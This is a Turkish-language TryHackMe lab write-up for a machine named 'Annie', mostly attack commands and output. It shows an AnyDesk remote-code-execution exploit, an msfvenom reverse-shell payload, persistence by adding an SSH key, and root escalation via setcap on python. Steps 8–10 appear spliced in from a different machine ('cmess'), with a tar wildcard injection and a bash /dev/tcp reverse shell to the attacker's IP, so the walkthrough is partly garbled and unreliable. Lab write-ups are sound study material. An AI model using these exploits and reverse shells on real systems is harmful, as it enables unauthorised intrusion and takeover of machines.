TryHackMe – Annie Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Annie” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -sS -sV 10.10.29.245
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-25 05:34 EDT
Nmap scan report for 10.10.29.245
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
7070/tcp open  ssl/realserver?

2 — Port taraması yaptıktan sonra “7070” portunda bir Anydesk servisi çalıştığını görüyorum. Searchsploit ile uygun bir exploit arıyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# searchsploit "anydesk"       
-------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                  |  Path
-------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
AnyDesk 2.5.0 - Unquoted Service Path Privilege Escalation                                                                      | windows/local/40410.txt
AnyDesk 5.4.0 - Unquoted Service Path                                                                                           | windows/local/47883.txt
AnyDesk 5.5.2 - Remote Code Execution                                                                                           | linux/remote/49613.py
-------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results


┌──(root㉿kali)-[/home/kali/Downloads]
└─# searchsploit -m 49613  
  Exploit: AnyDesk 5.5.2 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/49613
     Path: /usr/share/exploitdb/exploits/linux/remote/49613.py
    Codes: CVE-2020-13160
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/Downloads/49613.py

3 — Python dosyasını incelediğim zaman kendi ip-port bilgime uygun bir shellcode yazmam gerektiğini görüyorum. Msfvenom aracı ile shellcode oluşturuyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.8.94.51 LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 4 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=17, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Final size of python file: 680 bytes
shellcode =  b""
*CENSORED*

4 — Exploit içindeki shellcode ve IP değişkenlerini değiştirip çalıştırıyorum ve bir bağlantı elde ediyorum. Daha sonra ilk bayrağı elde ediyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# python2.7 49613.py
sending payload ...
reverse shell should connect within 5 seconds

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 4444                                                                                               
listening on [any] 4444 ...
connect to [10.8.94.51] from (UNKNOWN) [10.10.29.245] 41770
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
user.txt
cat user.txt
*CENSORED*

5 — Kendi SSH anahtarımı makinenin kayıtlı anahtarlar dosyasına ekliyorum. Böylece parola olmadan SSH bağlantısı yapabileceğim.

SHELL=/bin/bash script -q /dev/null
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

annie@desktop:/home/annie$ echo "ssh-rsa *CENSORED* root@kali" > .ssh/authorized_keys
<9JQSPRxaxjReNyls= root@kali" > .ssh/authorized_keys

6 — SSH bağlantısı kurduktan sonra suid biti aktif komutları listeliyorum ve “/sbin/setcap” komutunu görüyorum. Setcap, bir komuta yetenek (capabilities) tanımlamamızı sağlıyor.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# ssh annie@10.10.29.245
*
*
annie@desktop:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/setcap <--------------------------
 /bin/mount
/bin/ping
/bin/su
/bin/fusermount
/bin/umount
/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/arping
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
annie@desktop:~$

7 — Setcap ile pythona bir yetenek veriyorum. “cap_setuid” süreçlerin, kullanıcı kimliklerini değiştirebilmesine izin veren bir yetenektir. “+ep” ise e (effective) modu, belirtilen yeteneğin etkin hale getirilmesini sağlar. p (permanent) modu ise yeteneğin kalıcı olarak atanmasını sağlar. Daha sonra GTFObins sitesinden bu yeteneği nasıl suistimal edeceğimi öğreniyorum. Root kullanıcısına geçtikten sonra ikinci bayrağı elde ediyorum.

annie@desktop:~$  cp /usr/bin/python3 .
annie@desktop:~$ /sbin/setcap cap_setuid+ep python3
root@desktop:~# getcap / -r 2>/dev/null
/home/annie/python3 = cap_setuid+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
annie@desktop:~$ ./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@desktop:~# whoami
root
root@desktop:~# cat /root/root.txt
*CENSORED*

8 — Cron tablosunu incelediğim zaman “/me/andre/backup” dizinin tar ile sıkıştırılıp /tmp dizinine kopyalandığını görüyorum.

andre@cmess:~$ cd backup
cd backup
andre@cmess:~/backup$ ls
ls
note
andre@cmess:~/backup$ ls -la
ls -la
total 12
drwxr-x--- 2 andre andre 4096 Feb  9  2020 .
drwxr-x--- 4 andre andre 4096 Feb  9  2020 ..
-rwxr-x--- 1 andre andre   51 Feb  9  2020 note
andre@cmess:~/backup$ cat note 
cat note
Note to self.
Anything in here will be backed up! 
andre@cmess:~/backup$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *

9 — Burada “Tar Wildcard Injection” saldırısını kullanıyorum. Bu saldırı, bir tar parametresinin dosya adı olarak verilmesiyle kullanılıyor. Burada shell.sh adında bir betik oluşturup içine bash reverse shell komutu yazıyorum. Daha sonra gerekli parametreleri oluşturup bağlantı almayı bekliyorum.

andre@cmess:~/backup$ cat > shell.sh << EOF
cat > shell.sh << EOF
> #!/bin/bash
#!/bin/bash
> bash -i >& /dev/tcp/10.8.94.51/4445 0>&1
bash -i >& /dev/tcp/10.8.94.51/4445 0>&1
> EOF
EOF
andre@cmess:~/backup$ chmod +x shell.sh
chmod +x shell
andre@cmess:~/backup$ echo "" > "/home/andre/backup/--checkpoint=1"
echo "" > "/home/andre/backup/--checkpoint=1"
andre@cmess:~/backup$ echo "" > "/home/andre/backup/--checkpoint-action=exec=rh shell.sh"
<"" > "/home/andre/backup/--checkpoint-action=exec=sh shell.sh"

10 — Root kullanıcısına geçtikten sonra ikinci bayrağımı elde ediyorum.

root@cmess:/home/andre/backup# cat /root/root.txt
*CENSORED*